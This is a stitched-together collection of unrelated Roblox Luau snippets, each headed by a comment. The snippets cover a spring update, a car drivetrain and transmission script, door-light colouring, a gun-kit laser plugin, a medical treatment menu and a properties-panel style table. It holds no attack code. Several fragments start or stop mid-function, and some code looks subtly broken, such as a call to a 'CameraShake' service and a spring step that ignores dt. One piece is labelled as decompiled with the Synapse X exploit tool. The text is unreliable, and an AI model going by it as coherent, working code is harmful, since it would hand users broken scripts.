function spring:update(dt) local displacement = self.position - self.target; local springForce = -self.stiffness * displacement; local dampForce = -self.damping * self.velocity; local acceleration = springForce + dampForce; local newVelocity = self.velocity + acceleration*dt; local newPosition = self.position + newVelocity; if (absDist(newVelocity) < self.precision and absDist(self.target - newPosition) < self.precision) then self.position = self.target; self.velocity = self.velocity - self.velocity; return; end self.position = newPosition; self.velocity = newVelocity; end
--[[ Function called upon entering the state ]]
function PlayerCamera.onEnter(stateMachine, serverPlayer, event, from, to) local player = serverPlayer.player coroutine.wrap( function() local character = player.Character or player.CharacterAdded:Wait() local primaryPart = character.PrimaryPart onCharacterAdded(stateMachine, player, character) MonsterManager.createInterestWhileTrue( primaryPart.Position, NOISE_GENERATED, function() return stateMachine.current == "camera" end ) end )() connections.leaveCamera = LeaveCamera.OnServerEvent:Connect( function(sendingPlayer) if sendingPlayer == player then stateMachine:endCamera() end end ) end
--[[ Returns a boolean about whether the `assetType` is actually a Classic Clothing type. This function is called right before a split in functionality is required between different types of assets, such as equipping. See related function `isAccessory`. ]]
local MerchBooth = script:FindFirstAncestor("MerchBooth") local t = require(MerchBooth.Packages.t) function isClassicClothing(assetType: Enum.AssetType): boolean assert(t.enum(Enum.AssetType)(assetType)) if assetType == Enum.AssetType.TShirt or assetType == Enum.AssetType.Shirt or assetType == Enum.AssetType.Pants then return true end return false end return isClassicClothing
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 10 plrData.Character.Injuries.BrokenRib.Value = false end
--Apply Power
function Engine() --Get Torque local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _ClutchOn then if CacheTorque then local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/_Tune.CacheRPMInc)] _HP = cTq.Horsepower+(cTq.HpSlope*(_RPM-math.floor(_RPM/_Tune.CacheRPMInc))/1000) _OutTorque = cTq.Torque+(cTq.TqSlope*(_RPM-math.floor(_RPM/_Tune.CacheRPMInc))/1000) else _HP,_OutTorque = GetCurve(_RPM,_CGear) end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) else _HP,_OutTorque = 0,0 end --Automatic Transmission if _TMode == "Auto" and _IsOn then _ClutchOn = true if _CGear == 0 then _CGear = 1 end if _CGear >= 1 then if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = -1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then _CGear=math.max(_CGear-1,1) end end end else if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 20 then _CGear = 1 end end end --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if _Tune.Config == "AWD" then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not script.Parent.IsOn.Value then on=0 end local throt = _GThrot if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end --Apply TCS local tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSActive = true end --Update Forces local dir = 1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = _GBrake if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end if tqABS < 1 then _ABSActive = true end --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- We should remove this flag once the above flag becomes enabled
exports.warnUnstableRenderSubtreeIntoContainer = false
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]]
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local ServerStorage; local ServerScriptService; local Players = game:GetService("Players") local Replicated = game:GetService("ReplicatedStorage") local RunService = game:GetService("RunService") local FWork = {} local Modules = {} FWork.Loaded = false local SModulesFolder; local ModulesFolder = Replicated:WaitForChild("Package").Modules if not RunService:IsClient() then ServerStorage = game:GetService("ServerStorage") ServerScriptService = game:GetService("ServerScriptService") SModulesFolder = ServerStorage:WaitForChild("Package").Modules end function FWork:Init() --initializes the module for _,module in pairs(script:GetChildren()) do if module:IsA("ModuleScript") then for i,v in pairs(require(module)) do FWork[i] = v end end end for _,module in pairs(ModulesFolder:GetChildren()) do if module:IsA("ModuleScript") then Modules[module.Name] = require(module) end end if SModulesFolder ~= nil then for _,module in pairs(SModulesFolder:GetChildren()) do if module:IsA("ModuleScript") then Modules[module.Name] = require(module) end end end for i,v in pairs(Modules) do if v.Init ~= nil then v:Init() end end wait() FWork.Loaded = true end function FWork:Get(Name) --used for getting cached modules if Modules[Name] ~= nil then return Modules[Name] end end function FWork.newModule() --used for module creation local Module = {} setmetatable(Module,{ __index = FWork; }) function Module:Init() end return Module end return FWork
--------RIGHT DOOR --------
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value) game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
-- Place this code in a LocalScript
local Gui = script.Parent.Parent -- Your BillboardGui object here local ShakeIntensity = 1 -- Adjust the intensity of the shake effect local function ShakeScreen() local Camera = game.Workspace.CurrentCamera if Camera then game:GetService("CameraShake"):Shake(Camera, "Rotation", ShakeIntensity) end end Gui.MouseButton1Down:Connect(ShakeScreen)
-- If the character is not added for the first time, following function will run
Player.CharacterAdded:Connect(function(Character) Character:WaitForChild("HumanoidRootPart") Character.HumanoidRootPart.CFrame = Checkpoints[tostring(Stage.Value)].CFrame * CFrame.new(0, 2, 0) end)
-- Decompiled with the Synapse X Luau decompiler.
while true do wait(); if game.Players.LocalPlayer.Character then break; end; end; camera = game.Workspace.CurrentCamera; character = game.Players.LocalPlayer.Character; Z = 0; damping = character.Humanoid.WalkSpeed / 2; PI = 3.1415926; tick = PI / 2; running = false; strafing = false; character.Humanoid.Strafing:connect(function(p1) strafing = p1; end); character.Humanoid.Jumping:connect(function() running = false; end); character.Humanoid.Swimming:connect(function() running = false; end); character.Humanoid.Running:connect(function(p2) if p2 > 0.1 then running = true; return; end; running = false; end); function mix(p3, p4, p5) return p4 + (p3 - p4) * p5; end; while true do game:GetService("RunService").RenderStepped:wait(); fps = (camera.CoordinateFrame.p - character.Head.Position).Magnitude; if fps < 0.52 then Z = 1; else Z = 0; end; if running == true and strafing == false then tick = tick + character.Humanoid.WalkSpeed / 92; else if tick > 0 and tick < PI / 2 then tick = mix(tick, PI / 2, 0.9); end; if PI / 2 < tick and tick < PI then tick = mix(tick, PI / 2, 0.9); end; if PI < tick and tick < PI * 1.5 then tick = mix(tick, PI * 1.5, 0.9); end; if PI * 1.5 < tick and tick < PI * 2 then tick = mix(tick, PI * 1.5, 0.9); end; end; if PI * 2 <= tick then tick = 0; end; camera.CoordinateFrame = camera.CoordinateFrame * CFrame.new(math.cos(tick) / damping, math.sin(tick * 2) / (damping * 2), Z) * CFrame.Angles(0, 0, math.sin(tick - PI * 1.5) / (damping * 20)); end;
-- else print("Didn't hit Target")
end if makeRays then makeRay(CFrame.new(origPos, position) * CFrame.new(0, 0, -distance/2), Vector3.new(0.2, 0.2, distance)) end end end end round:remove() break end wait() end if round then round:remove() end script:remove()
--the Create function need to be created as a functor, not a function, in order to support the Create.E syntax, so it --will be created in several steps rather than as a single function declaration.
local function Create_PrivImpl(objectType) if type(objectType) ~= 'string' then error("Argument of Create must be a string", 2) end --return the proxy function that gives us the nice Create'string'{data} syntax --The first function call is a function call using Lua's single-string-argument syntax --The second function call is using Lua's single-table-argument syntax --Both can be chained together for the nice effect. return function(dat) --default to nothing, to handle the no argument given case dat = dat or {} --make the object to mutate local obj = Instance.new(objectType) local parent = nil --stored constructor function to be called after other initialization local ctor = nil for k, v in pairs(dat) do --add property if type(k) == 'string' then if k == 'Parent' then -- Parent should always be set last, setting the Parent of a new object -- immediately makes performance worse for all subsequent property updates. parent = v else obj[k] = v end --add child elseif type(k) == 'number' then if type(v) ~= 'userdata' then error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2) end v.Parent = obj --event connect elseif type(k) == 'table' and k.__eventname then if type(v) ~= 'function' then error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\ got: "..tostring(v), 2) end obj[k.__eventname]:connect(v) --define constructor function elseif k == t.Create then if type(v) ~= 'function' then error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \ got: "..tostring(v), 2) elseif ctor then --ctor already exists, only one allowed error("Bad entry in Create body: Only one constructor function is allowed", 2) end ctor = v else error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2) end end --apply constructor function if it exists if ctor then ctor(obj) end if parent then obj.Parent = parent end --return the completed object return obj end end
--inputService.InputBegan:connect(function(inputObj) -- -- -- Check if slash -- if inputObj.KeyCode == Enum.KeyCode.ButtonL3 and not script.Parent.TypeArea:IsFocused() then -- wait() -- script.Parent.TypeArea:CaptureFocus() -- elseif inputObj.KeyCode == Enum.KeyCode.ButtonL3 and script.Parent.TypeArea:IsFocused() then -- wait() -- script.Parent.TypeArea:ReleaseFocus() -- end -- --end)
script.Parent.Toggle.MouseButton1Click:connect(function() -- Toggle visibility script.Parent.Parent.Chat.Visible = not script.Parent.Parent.Chat.Visible if script.Parent.Parent.Chat.Visible then script.Parent.Toggle.Text = "HIDE" else script.Parent.Toggle.Text = "SHOW" end end) while wait(1) do -- Decrement spam score if spamScore > 0 then spamScore = spamScore - 1 end end
--[[ Plugins for this gun kit are basically functions that will run at specific times, i.e. When a key is pressed, when the gun is fired, when the gun is aimed, etc. HOW TO USE IT: KEYDOWN PLUGIN: Let's say you wanted to toggle a laser whenever you press the "v" key: You would create a table like the example below The first element would be "Key = INSERT_KEY_HERE" The second element would be "Description = INSERT_DESCRIPTION_HERE" The third element would be "Plugin = INSERT_FUNCTION_HERE" So whenever you press the "v" key, the plugin function will run Pretty useful if you want to add extra code to the script without actually having to modify the script NOTE: Only the keydown plugin requires this table. Every other plugin just needs a function EVERY OTHER PLUGIN: Let's say you wanted to make a shell eject whenever the gun was fired: You would add function called "Plugin = INSERT_FUNCTION_HERE" That's it; If you want other stuff to happen when the gun is fired, you would either put it all into 1 function, or you would add more Plugins to the "Firing" table. Like so: Firing = { Plugin = function() --Code end; Plugin = function() --Code end; Plugin = function() --Code end; }; That's really it, you just need to know some basic scripting to use it. If you have more questions, pm me. NOTE: The plugins run seperate from the code in the Gun_Main. For example, if you have a plugin that ejects a shell 1 second after the gun is fired, the gun's firing speed won't be affected in any way. --]]
local Gun = script.Parent.Parent.Parent local player = game.Players.LocalPlayer local Plugins = { KeyDown = { { --This is a plugin for a toggleable laser Key = "g"; --This is the key you press to activate the plugin Description = "Toggle Laser"; --This is what the description of the key will be in the controls Plugin = function() --This is the actual plugin function local Laser = Gun:WaitForChild("LaserLight") --These few lines wait for the necessary bricks/models local Handle = Gun:WaitForChild("Grip") local ignoreCode = Gun.Program_Client:WaitForChild("ignoreCode") local ignoreModel = game.Workspace:WaitForChild("BulletModel: " .. player.Name) local ignoreList = {} local PlyrName = game.Players:GetPlayerFromCharacter(Gun.Parent).Name local playerFolder = ignoreModel local RS = game:GetService("RunService") local function createLaserDot() --This function creates the red laser dot local laserDot = Instance.new("Part") laserDot.Transparency = 1 laserDot.Name = "laserDot" laserDot.Anchored = true laserDot.CanCollide = false laserDot.FormFactor = Enum.FormFactor.Custom laserDot.Size = Vector3.new(0.25, 0.25, 1) local laserGui = Instance.new("SurfaceGui") laserGui.CanvasSize = Vector2.new(100, 100) laserGui.Parent = laserDot local laserImage = Instance.new("ImageLabel") laserImage.BackgroundTransparency = 1 laserImage.Size = UDim2.new(1, 0, 1, 0) laserImage.Image = "http://www.roblox.com/asset/?id=131394739" laserImage.Parent = laserGui --[[local laserLight = Instance.new("SurfaceLight") laserLight.Angle = 180 laserLight.Brightness = math.huge laserLight.Color = Color3.new(1, 0, 0) laserLight.Face = Enum.NormalId.Back laserLight.Range = 5 laserLight.Shadows = true laserLight.Parent = laserDot]] return laserDot end local function getHitSurfaceCFrame(Pos, Obj) --This function returns the proper cframe based on the face that the position is on local surfaceCF = { {"Back", Obj.CFrame * CFrame.new(0, 0, Obj.Size.z)}; {"Bottom", Obj.CFrame * CFrame.new(0, -Obj.Size.y, 0)}; {"Front", Obj.CFrame * CFrame.new(0, 0, -Obj.Size.z)}; {"Left", Obj.CFrame * CFrame.new(-Obj.Size.x, 0, 0)}; {"Right", Obj.CFrame * CFrame.new(Obj.Size.x, 0, 0)}; {"Top", Obj.CFrame * CFrame.new(0, Obj.Size.y, 0)} } local closestDist = math.huge local closestSurface = nil for _,v in pairs(surfaceCF) do local surfaceDist = (Pos - v[2].p).magnitude if surfaceDist < closestDist then closestDist = surfaceDist closestSurface = v end end local surfaceDir = CFrame.new(Obj.CFrame.p, closestSurface[2].p) local surfaceDist = surfaceDir.lookVector * ((Obj.CFrame.p - closestSurface[2].p).magnitude / 2 - 0.25) local surfaceOffset = Pos - closestSurface[2].p + surfaceDist local surfaceCFrame = surfaceDir + surfaceDist + surfaceOffset return surfaceCFrame end local laserDot = createLaserDot() --The code is cleaner when the laser creating code is in a function Laser.Transparency = (Laser.Transparency == 1 and 0 or 1) --Toggles the laser on or off while math.floor(Laser.Transparency) == 0 do --This loop will keep running as long as the laser is visible if (not game.Players:GetPlayerFromCharacter(Gun.Parent)) then break end --This checks if the gun is a child of the character local newRay = Ray.new(Laser.Position, Handle.CFrame.lookVector * 999) local H, P = game.Workspace:FindPartOnRayWithIgnoreList(newRay, ignoreList) if H and (H and H.Transparency >= 1 or H.CanCollide == false) then table.insert(ignoreList, H) print(H.Name .. " Ignored") end local Distance = (P - Laser.Position).magnitude Laser.Mesh.Offset = Vector3.new(0, Distance / 2, 0) Laser.Mesh.Scale = Vector3.new(0.075, Distance / 0.2, 0.075) if H then laserDot.CFrame = getHitSurfaceCFrame(P, H) --If the laser hits a part then position the dot on the part laserDot.Parent = playerFolder else laserDot.Parent = nil --If the laser doesn't hit a part then temporarily remove the laser dor end RS.RenderStepped:wait() end laserDot:Destroy() --These lines reset the laser if the laser is transparent or the gun was deselected Laser.Transparency = 1 Laser.Mesh.Offset = Vector3.new() Laser.Mesh.Scale = Vector3.new(0.075, 0, 0.075) end; }; }; } return Plugins
-- functions:
local function disableCollisions(descendant) if not descendant:IsA("BasePart") then return end physicsService:SetPartCollisionGroup(descendant, "Characters") end local function enableCollisions(descendant) if not descendant:IsA("BasePart") then return end physicsService:SetPartCollisionGroup(descendant, "Default") end local function handleCharacter(character) for _, descendant in ipairs(character:GetDescendants()) do disableCollisions(descendant) end character.DescendantAdded:Connect(disableCollisions) character.DescendantRemoving:Connect(enableCollisions) end local function handleNPcs(v) for _, descendant in ipairs(v:GetDescendants()) do disableCollisions(descendant) end end
-- ROBLOX deviation END
export type ValidTestReturnValues = void | nil type TestReturnValuePromise = Promise<any> type TestReturnValueGenerator = Generator<void, any, void> export type TestReturnValue = ValidTestReturnValues | TestReturnValuePromise export type TestContext = Record<string, any> export type DoneFn = (reason: (string | Error)?) -> ()
-- get existing players
for _, player in pairs(Players:GetPlayers()) do playerAdded(player) end
--s.Pitch = 0.7 --s.Pitch = 0.7
while true do while s.Pitch<0.6 do s.Pitch=s.Pitch+0.010 s:Play() if s.Pitch>0.6 then s.Pitch=0.6 end wait(0.001) end
--[[script.Parent.Examinar.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.ExaminarAberto.Visible == false then Saude.Variaveis.Doer.Value = true Timer.Barra.Size = UDim2.new(0,0,1,0) TS:Create(Timer.Barra, TweenInfo.new(5), {Size = UDim2.new(1,0,1,0)}):Play() wait(5) script.Parent.Parent.ExaminarAberto.Visible = true script.Parent.Parent.ExaminarAberto.Base.DiagnoseHandler.Disabled = false Saude.Variaveis.Doer.Value = false end end)]]
script.Parent.Airway.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Airway.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Breathing.Visible = false script.Parent.Parent.Airway.Visible = true script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Surgery.Visible = false script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Breathing.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Breathing.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Breathing.Visible = true script.Parent.Parent.Airway.Visible = false script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Surgery.Visible = false script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Circulation.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Circulation.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = true script.Parent.Parent.Breathing.Visible = false script.Parent.Parent.Airway.Visible = false script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Surgery.Visible = false script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Resuscitation.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Resuscitation.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Breathing.Visible = false script.Parent.Parent.Airway.Visible = false script.Parent.Parent.Resuscitation.Visible = true script.Parent.Parent.Surgery.Visible = false script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end) script.Parent.Analgesic.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Analgesic.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Breathing.Visible = false script.Parent.Parent.Airway.Visible = false script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Surgery.Visible = false script.Parent.Parent.Analgesic.Visible = true --Saude.Variaveis.Doer.Value = false end end) script.Parent.Surgery.MouseButton1Down:connect(function() if Saude.Variaveis.Doer.Value == false and script.Parent.Parent.Surgery.Visible == false then --Saude.Variaveis.Doer.Value = true --Timer.Barra.Size = UDim2.new(0,0,1,0) --TS:Create(Timer.Barra, TweenInfo.new(.25), {Size = UDim2.new(1,0,1,0)}):Play() --wait(.25) script.Parent.Parent.Circulation.Visible = false script.Parent.Parent.Breathing.Visible = false script.Parent.Parent.Airway.Visible = false script.Parent.Parent.Resuscitation.Visible = false script.Parent.Parent.Surgery.Visible = true script.Parent.Parent.Analgesic.Visible = false --Saude.Variaveis.Doer.Value = false end end)
--------------------------------------------------------------------
if ignition == true then mouse.KeyDown:connect(function(key) if key == camkey and enabled == false then local seat = car.DriveSeat local effect = script.soundeffect:Clone() effect.Name = "soundeffectCop" effect.Parent = seat[audioname] elseif key == camkey and enabled == true then local seat = car.DriveSeat seat[audioname].soundeffectCop:Destroy() end car.DriveSeat.ChildRemoved:Connect(function(child) if child.Name == "SeatWeld" then local seat = car.DriveSeat seat[audioname].soundeffectCop:Destroy() end end) end) end
-- Styles
local Styles = { Font = Enum.Font.Arial, Margin = 5, Black = Color3_fromRGB(0,0,5), Black2 = Color3_fromRGB(24,24,29), White = Color3_fromRGB(244,244,249), White2 = Color3_fromRGB(200,200,205), Hover = Color3_fromRGB(2,128,149), Hover2 = Color3_fromRGB(5,102,146) } local Row = { Font = Styles.Font, FontSize = Enum.FontSize.Size12, TextXAlignment = Enum.TextXAlignment.Left, TextColor = Styles.White, TextColorOver = Styles.White2, TextLockedColor = Color3_fromRGB(155, 155, 160), Height = 24, BorderColor = Color3_fromRGB(54, 54, 55), BackgroundColor = Styles.Black2, BackgroundColorAlternate = Color3_fromRGB(32, 32, 37), BackgroundColorMouseover = Color3_fromRGB(40, 40, 45), TitleMarginLeft = 15 } local DropDown = { Font = Styles.Font, FontSize = Enum.FontSize.Size14, TextColor = Color3_fromRGB(255, 255, 255), TextColorOver = Styles.White2, TextXAlignment = Enum.TextXAlignment.Left, Height = 16, BackColor = Styles.Black2, BackColorOver = Styles.Hover2, BorderColor = Color3_fromRGB(45, 45, 50), BorderSizePixel = 2, ArrowColor = Color3_fromRGB(80, 80, 83), ArrowColorOver = Styles.Hover } local BrickColors = { BoxSize = 13, BorderSizePixel = 1, BorderColor = Color3_fromRGB(53, 53, 55), FrameColor = Color3_fromRGB(53, 53, 55), Size = 20, Padding = 4, ColorsPerRow = 8, OuterBorder = 1, OuterBorderColor = Styles.Black } wait(1) local bindGetSelection = ExplorerFrame:WaitForChild("GetSelection") local bindSelectionChanged = ExplorerFrame:WaitForChild("SelectionChanged") local bindGetApi = PropertiesFrame.GetApi local bindGetAwait = PropertiesFrame.GetAwaiting local bindSetAwait = PropertiesFrame.SetAwaiting local ContentUrl = ContentProvider.BaseUrl .. "asset/?id=" local SettingsRemote = Gui:WaitForChild("SettingsPanel"):WaitForChild("GetSetting") local propertiesSearch = PropertiesFrame.Header.TextBox local AwaitingObjectValue = false local AwaitingObjectObj local AwaitingObjectProp function searchingProperties() if propertiesSearch.Text ~= "" then return true end return false end local function GetSelection() local selection = bindGetSelection:Invoke() if #selection == 0 then return nil else return selection end end
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
